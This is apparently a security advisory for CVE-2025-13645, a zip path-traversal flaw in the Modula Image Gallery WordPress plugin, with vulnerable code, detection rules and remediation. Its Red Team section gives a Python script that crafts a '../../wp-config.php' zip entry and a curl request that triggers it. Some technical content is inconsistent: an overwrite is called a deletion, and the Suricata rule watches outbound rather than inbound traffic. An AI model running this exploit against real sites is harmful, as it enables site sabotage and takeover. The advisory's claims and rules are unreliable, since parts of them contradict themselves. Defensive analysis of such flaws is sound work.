CVE-2025-13645

Executive Summary

CVE-2025-13645 is a high-severity arbitrary file deletion vulnerability discovered in the Modula Image Gallery plugin for WordPress, affecting versions 2.13.1 through 2.13.2. The flaw resides in the ajax_unzip_file function, which fails to properly validate file paths during the unzip process. An authenticated attacker with Author-level access or higher can exploit this to delete arbitrary files on the server, including critical configuration files like wp-config.php. Deleting wp-config.php can lead to a complete site takeover and remote code execution (RCE) when the database connection is reset or the site enters a broken state. This vulnerability is particularly dangerous in shared hosting environments where multiple WordPress instances share the same server.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors weaponizing this flaw. Administrators should immediately verify their plugin version and apply any available updates or mitigations.

CVSS Breakdown & Threat Level

• CVSS Score: 7.2 (High)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Author-level)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: High
• Availability Impact: High

The high CVSS score reflects the low complexity and the severe impact on integrity and availability. An attacker can delete critical files without any user interaction, making this a prime target for automated exploitation.

Deep Dive & Mechanics

The vulnerability exists in the ajax_unzip_file function, which is part of the Modula Image Gallery plugin's AJAX handler. This function is intended to unzip uploaded gallery archives. The flaw is due to insufficient validation of file paths extracted from the zip archive. Specifically, the function does not check for path traversal sequences (e.g., ../) in the extracted file names. An attacker can craft a malicious zip file containing entries with path traversal payloads, such as ../../wp-config.php. When the plugin processes this zip, it will attempt to write the extracted file to the specified path, effectively deleting the target file if it already exists (due to the way the unzip function handles overwrites) or creating a new file in an unintended location.

The attack flow:

1. Authenticate as an Author-level user.
2. Upload a malicious zip file via the gallery upload functionality.
3. The ajax_unzip_file function processes the zip without proper path validation.
4. The malicious entry ../../wp-config.php is written, overwriting or deleting the target file.
5. The site becomes inoperable, and the attacker can potentially exploit the broken state to achieve RCE.

Vulnerable vs. Patched Code

The vulnerable code in ajax_unzip_file (versions 2.13.1 - 2.13.2) lacks path validation:

// Vulnerable code (simplified)
function ajax_unzip_file() {
    $zip = new ZipArchive();
    $zip->open($_FILES['file']['tmp_name']);
    for ($i = 0; $i < $zip->numFiles; $i++) {
        $filename = $zip->getNameIndex($i);
        $zip->extractTo($upload_dir, $filename);
    }
    $zip->close();
}

A patched version would include path validation to prevent traversal:

// Patched code (simplified)
function ajax_unzip_file() {
    $zip = new ZipArchive();
    $zip->open($_FILES['file']['tmp_name']);
    for ($i = 0; $i < $zip->numFiles; $i++) {
        $filename = $zip->getNameIndex($i);
        // Validate path: reject if contains '..' or starts with '/'
        if (strpos($filename, '..') !== false || strpos($filename, '/') === 0) {
            continue; // Skip malicious entry
        }
        $zip->extractTo($upload_dir, $filename);
    }
    $zip->close();
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress instance with Modula Image Gallery plugin version 2.13.1 or 2.13.2.
• Valid Author-level credentials.

Exploitation Steps:

1. Craft a malicious zip file containing a path traversal entry:

   # Create a zip with a file that targets wp-config.php
   mkdir exploit
   cd exploit
   echo "<?php // malicious payload" > dummy.txt
   # Use a tool like 7zip or Python to create the zip with traversal
   python3 -c "
   import zipfile
   with zipfile.ZipFile('malicious.zip', 'w') as zf:
       zf.writestr('../../wp-config.php', '<?php // overwritten')
   "
   

2. Upload the zip via the Modula gallery upload functionality (typically through the WordPress admin panel under "Modula" > "Add Gallery").

3. Trigger the unzip by sending an AJAX request to the ajax_unzip_file endpoint:

   curl -X POST \
     -F "action=modula_ajax_unzip_file" \
     -F "file=@malicious.zip" \
     -H "Cookie: wordpress_logged_in_<hash>=<session>" \
     http://target.com/wp-admin/admin-ajax.php
   

4. Verify deletion: Check if wp-config.php is deleted or overwritten. The site will likely display a database connection error.

Blue Team

Detection and Response:

1. Monitor file integrity: Use a file integrity monitoring (FIM) tool to alert on changes to critical files like wp-config.php, .htaccess, and index.php.

2. Audit AJAX requests: Look for unusual AJAX requests to admin-ajax.php with the action modula_ajax_unzip_file from Author-level users.

3. Check for zip uploads: Monitor for zip file uploads in the WordPress uploads directory that contain path traversal patterns.

4. Review logs: Examine web server access logs for POST requests to /wp-admin/admin-ajax.php with parameters indicating unzip actions.

Indicators of Compromise (IOCs)

• File Hashes (malicious zip): SHA256 of a crafted zip with traversal payload (example, not actual): e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
• Network Indicators:
  • POST requests to /wp-admin/admin-ajax.php with action=modula_ajax_unzip_file
  • Zip file uploads with unusual file names or sizes
• File System Indicators:
  • Unexpected deletion or modification of wp-config.php, .htaccess, or other critical files
  • Presence of zip files in the uploads directory with suspicious entries
• Log Entries:
  • PHP errors related to ZipArchive or file operations
  • WordPress debug logs showing failed database connections

Detection Engineering

YARA Rule

rule CVE_2025_13645_Modula_Unzip_Traversal {
    meta:
        description = "Detects malicious zip files targeting CVE-2025-13645 in Modula Image Gallery"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-13645"
    strings:
        $traversal = /\.\.\/[a-zA-Z0-9_\/]+\.php/
        $wp_config = /wp-config\.php/
    condition:
        $traversal and $wp_config
}

Sigma Rule

title: CVE-2025-13645 Modula Image Gallery Arbitrary File Deletion
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2025-13645 via AJAX unzip requests
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: POST
        c-uri: '/wp-admin/admin-ajax.php'
        cs-uri-query:
            - '*action=modula_ajax_unzip_file*'
    condition: selection
falsepositives:
    - Legitimate gallery uploads by administrators
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-13645 Modula Image Gallery Arbitrary File Deletion Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=modula_ajax_unzip_file"; http_client_body;
    classtype:attempted-admin;
    sid:10000001;
    rev:1;
    reference:cve,2025-13645;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the Modula Image Gallery plugin until a patch is released.
2. Restrict Author-level permissions to prevent uploads if the plugin must remain active.
3. Implement a Web Application Firewall (WAF) rule to block requests containing action=modula_ajax_unzip_file from non-admin users.

Long-term Fix:

• The vendor must release a patched version that validates file paths in the ajax_unzip_file function. Until then, consider migrating to an alternative gallery plugin.

Workaround:

• Add the following code to the theme's functions.php to disable the vulnerable AJAX action:

  add_action('wp_ajax_modula_ajax_unzip_file', function() {
      wp_die('This action is disabled due to a security vulnerability.');
  }, 1);
  

Valters IT
Securing Digital Frontiers